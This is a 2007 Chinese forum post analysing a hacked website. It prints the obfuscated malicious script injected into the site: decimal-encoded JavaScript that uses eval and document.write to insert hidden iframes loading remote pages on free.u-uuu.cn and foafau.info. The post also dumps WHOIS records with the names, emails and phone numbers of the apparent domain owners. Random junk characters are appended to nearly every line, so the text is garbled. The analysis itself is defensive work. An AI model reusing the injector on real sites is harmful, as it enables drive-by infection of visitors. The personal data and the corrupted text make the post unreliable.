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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, _k-_&PR  
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http://www.areway.cn/?p=175 O*yxOb*  
M5xJ_yjG  
Qm%F]nyy  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: `-NK:;^  
          `:/'")+@v  
<script>t=’60,105,102,114,97,109,101, !Sq<_TO  
32,115,114,99,61,104,116,116,112,58,47,47, P rt} 01$  
102,114,101,101,46,117,45,117,117,117,46,99, Sb.8d]DW  
110,47,101,114,114,111,114,46,104,116,109, :t?B)  
32,119,105,100,116,104,61,49,48,48,32,104, =:W2NN'  
101,105,103,104,116,61,48,62,60,47,105,102, sFU< PgV  
114,97,109,101,62′; =TB_|`5;j  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> [^H2'&]  
                                                                                                  xn8K OwX%  
<script>t=’60,105,102,114,97,109,101,32,115, jU,Xlgz(A  
114,99,61,104,116,116,112,58,47,47,102,114, j!;LN)s@?  
101,101,46,117,45,117,117,117,46,99,110,47, W{p}N  
101,114,114,111,114,46,104,116,109,32,119, LiJYyp  
105,100,116,104,61,49,48,48,32,104,101,105, 37AVk`a  
103,104,116,61,48,62,60,47,105,102,114,97, 5>532X(0  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); 9+.wj/75  
document.write(t);</script> nhI+xqfn  
                                                                                                  P<<$o-a"  
<html xmlns=” #h5:b`fDF  
http://www.w3.org/1999/xhtml A|A~$v("R  
“> H DVimoOq  
<head> bMH~vR  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> {@Wv@H+4  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> %idBR7?`g  
<title>首页 - 爱生活家庭网 7Q 3!= b  
                                                                                                                                                    5=>1>HYM  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 6W1GvM\e  
转换字符串后的大概内容是(谁点击后果自付): dBWny&  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… b F=MQ  
                                                                                                                                  s.3"2waZ=T  
查询玉米u-uuu.cn的详细信息: ] 5Cr$%H=  
Domain Name: u-uuu.cn ,5DJ54B!  
ROID: 20070901s10001s64972306-cn b|#=kPVgL}  
Domain Status: ok ]TV_ p[L0B  
Registrant Organization: 王雷 'C+cQLig@  
Registrant Name: 王雷 sEhvx +(  
Administrative Email: czlovexs@126.com c{#2;k Q,  
Sponsoring Registrar: 北京万网志成科技有限公司 /qpSmRL  
Name Server:ns.yovole.com h$S#fY8   
Name Server:ns1.yovole.com =bKDD <(  
Registration Date: 2007-09-01 17:54 R|; BO:S1  
Expiration Date: 2008-09-01 17:54 1#vy# '  
最后PING了一下地址 都没有什么…. }$6L]   
                                                                                                0b&# w  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. !pU$'1D  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> fI.|QD*$b  
<script language=”javascript” src=” Y2|i>5/|<  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script $H:!3 -/  
> S zo'[/ [R  
这个玉米应该有可能是木马作者的: 2a d|v]  
foafau.info的详细信息: 2D\ pt  
Access to INFO WHOIS information is provided to assist persons in LIg1U  
determining the contents of a domain name registration record in the U)}]Z@I-  
Afilias registry database. The data in this record is provided by )&Ii! tm3  
Afilias Limited for informational purposes only, and Afilias does not w OL,LU  
guarantee its accuracy.  This service is intended only for query-based '|}A /`  
access. You agree that you will use this data only for lawful purposes Koa9W >!  
and that, under no circumstances will you use this data to: (a) allow, )e(<YST  
enable, or otherwise support the transmission by e-mail, telephone, or A;AQw  
facsimile of mass unsolicited, commercial advertising or solicitations i'Y8-})  
to entities other than the data recipient’s own existing customers; or =NB[jQ :(  
(b) enable high volume, automated, electronic processes that send aNbS0R>l  
queries or data to the systems of Registry Operator, a Registrar, or ly0R'4j \  
Afilias except as reasonably necessary to register domain names or ]jT}]9Q$  
modify existing registrations. All rights reserved. Afilias reserves $4bc!  
the right to modify these terms at any time. By submitting this query, InPE_  
you agree to abide by this policy. >?g@Nt8  
Domain ID:D22418703-LRMS j^G=9r[,  
Domain Name:FOAFAU.INFO &/@V$'G=  
Created On:20-Nov-2007 16:05:42 UTC [ATJ! O  
Last Updated On:20-Nov-2007 16:05:44 UTC B,b8\\^k|  
Expiration Date:20-Nov-2008 16:05:42 UTC "Eh=@?]S_  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) ax@H^Gj@2  
Status:CLIENT DELETE PROHIBITED mhbczVw  
Status:CLIENT RENEW PROHIBITED >ohCz@~  
Status:CLIENT TRANSFER PROHIBITED 41 F;X{Br  
Status:CLIENT UPDATE PROHIBITED y oW ~  
Status:TRANSFER PROHIBITED .?}M(mL  
Registrant ID:GODA-040110615 x&B&lFmo 8  
Registrant Name:liu hong }#z1>y!#  
Registrant Organization: ?v^NimcZ  
Registrant Street1:beijing $6"sRI6u  
Registrant Street2: _p$/.~Xo9  
Registrant Street3: jAJ='|[X\  
Registrant City:beijing cILS  
Registrant State/Province: mK:gj&N7X|  
Registrant Postal Code:100000 ^PG"  
Registrant Country:CN :{u`qi  
Registrant Phone:+86.860108888777 |q`NJ  
Registrant Phone Ext.: VL%. maj  
Registrant FAX: =<]`'15"V  
Registrant FAX Ext.: &V4Zm n?UU  
Registrant Email:bbbshiji@163.com ~yv7[`+Tgg  
Admin ID:GODA-240110615 i)#-VOhX)  
Admin Name:liu hong v h,(]t  
Admin Organization: b.*LmSX#  
Admin Street1:beijing c 4z&HQd  
Admin Street2: %H{pU:[5*  
Admin Street3: rr# nBhh8  
Admin City:beijing "vGh/sXW  
Admin State/Province: , Ckcc  
Admin Postal Code:100000 o.KnDY  
Admin Country:CN #XQ/y}(  
Admin Phone:+86.860108888777 gL<n?FG4b  
Admin Phone Ext.: M}] *j  
Admin FAX: Ow 0>qzTg  
Admin FAX Ext.: Yp\n=#$[  
Admin Email:bbbshiji@163.com 'LgRdtO6  
Billing ID:GODA-340110615 $6Ma{rC|  
Billing Name:liu hong qbyYNlXqm  
Billing Organization: <4rnOQ:  
Billing Street1:beijing p)biOG  
Billing Street2: {-A|f  
Billing Street3: l!ow\ZuQBF  
Billing City:beijing BN*:*cmUl  
Billing State/Province: [f+wP|NKL  
Billing Postal Code:100000 &'6/H/J  
Billing Country:CN HZ3;2k  
Billing Phone:+86.860108888777 [>ghs_?dZ  
Billing Phone Ext.: 77\+V 0cF  
Billing FAX: u\LNJo| B  
Billing FAX Ext.: %q5dV<X'c  
Billing Email:bbbshiji@163.com [,;Y5#Y[5  
Tech ID:GODA-140110615 T Q41i/{  
Tech Name:liu hong .7Mf(1:  
Tech Organization: Q/o,2R  
Tech Street1:beijing |>Q>d8|k  
Tech Street2: ]zx%"SUM  
Tech Street3: h@RpS8!Bi  
Tech City:beijing ^ITF*  
Tech State/Province: Sk{skvd;  
Tech Postal Code:100000 bPVk5G*ruP  
Tech Country:CN 461g7R%r  
Tech Phone:+86.860108888777 8 063LWV  
Tech Phone Ext.: SkuR~!  
Tech FAX: b<FE   
Tech FAX Ext.: ('x]@  
Tech Email:bbbshiji@163.com s|%R  
Name Server:NS27.DOMAINCONTROL.COM x3n9|Uud  
Name Server:NS28.DOMAINCONTROL.COM "B'c;0 @q  
Name Server: >0HH#JW  
Name Server: WK|5:V8E  
Name Server: oAO{4xP  
Name Server: XG|N$~N+2  
Name Server: V]|X ,G  
Name Server: [8T{=+k  
Name Server: Y`~B> J  
Name Server: l'I:0a 4T  
Name Server: @c^ Dl  
Name Server: (dlp5:lQz  
Name Server: =p+n(C/  
                                                                                                          W&5/1``u\  
接着下载每个文件里面的代码: _X#Rv2a  
一步一步看.. L[<#>/NPy  
;6/WjUDw<|  
m>=DJ{KQ  
SKC;@?  
DS?.'"n[u  
Pn!~U] A$%  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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